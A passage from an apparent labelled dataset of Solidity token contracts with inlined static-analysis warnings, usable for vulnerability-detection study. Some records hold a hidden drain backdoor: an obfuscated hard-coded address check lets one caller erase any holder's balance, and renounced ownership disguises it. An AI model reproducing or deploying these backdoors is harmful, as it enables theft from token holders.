_owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"APEMAGA\", unicode\"APEMAGA\", 9, 100000000000) {}\n}\n",
"file_name": "solidity_code_1071.sol",
"size_bytes": 7300,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Token is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c9519dd): Token._taxWallet should be immutable \n\t// Recommendation for c9519dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01a847d): Token._initialBuyTax should be constant \n\t// Recommendation for 01a847d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6243f1b): Token._initialSellTax should be constant \n\t// Recommendation for 6243f1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8023b8f): Token._reduceBuyTaxAt should be constant \n\t// Recommendation for 8023b8f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 86d815b): Token._reduceSellTaxAt should be constant \n\t// Recommendation for 86d815b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10e4b0b): Token._preventSwapBefore should be constant \n\t// Recommendation for 10e4b0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Airplugs\";\n\n string private constant _symbol = unicode\"AIRPLUGS\";\n\n uint256 public _maxTxAmount = 13800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 13800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4dd4ae): Token._taxSwapThreshold should be constant \n\t// Recommendation for a4dd4ae: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 6900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ace5ae): Token._maxTaxSwap should be constant \n\t// Recommendation for 0ace5ae: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 6900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 45a706c): Token.uniswapRouterAddress should be immutable \n\t// Recommendation for 45a706c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapRouterAddress =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uint256 chainId;\n\n assembly {\n chainId := chainid()\n }\n\n if (chainId != 1) {\n uniswapRouterAddress = 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008;\n }\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0c459ee): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0c459ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3c7db0d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3c7db0d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0c459ee\n\t\t// reentrancy-benign | ID: 3c7db0d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0c459ee\n\t\t// reentrancy-benign | ID: 3c7db0d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3c7db0d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0c459ee\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d185548): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d185548: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5c65e65): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5c65e65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d185548\n\t\t\t\t// reentrancy-eth | ID: 5c65e65\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d185548\n\t\t\t\t\t// reentrancy-eth | ID: 5c65e65\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5c65e65\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5c65e65\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5c65e65\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d185548\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5c65e65\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5c65e65\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d185548\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d185548\n\t\t// reentrancy-events | ID: 0c459ee\n\t\t// reentrancy-benign | ID: 3c7db0d\n\t\t// reentrancy-eth | ID: 5c65e65\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 03144a5): Token.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 03144a5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d185548\n\t\t// reentrancy-events | ID: 0c459ee\n\t\t// reentrancy-eth | ID: 5c65e65\n\t\t// arbitrary-send-eth | ID: 03144a5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e735a22): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e735a22: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5973b80): Token.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5973b80: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c534687): Token.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c534687: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 55e1790): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 55e1790: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(uniswapRouterAddress);\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e735a22\n\t\t// reentrancy-eth | ID: 55e1790\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e735a22\n\t\t// unused-return | ID: 5973b80\n\t\t// reentrancy-eth | ID: 55e1790\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e735a22\n\t\t// unused-return | ID: c534687\n\t\t// reentrancy-eth | ID: 55e1790\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e735a22\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 55e1790\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10710.sol",
"size_bytes": 20365,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"LOS\", unicode\"LOScoin\", 9, 50000000) {}\n}\n",
"file_name": "solidity_code_10711.sol",
"size_bytes": 7292,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = 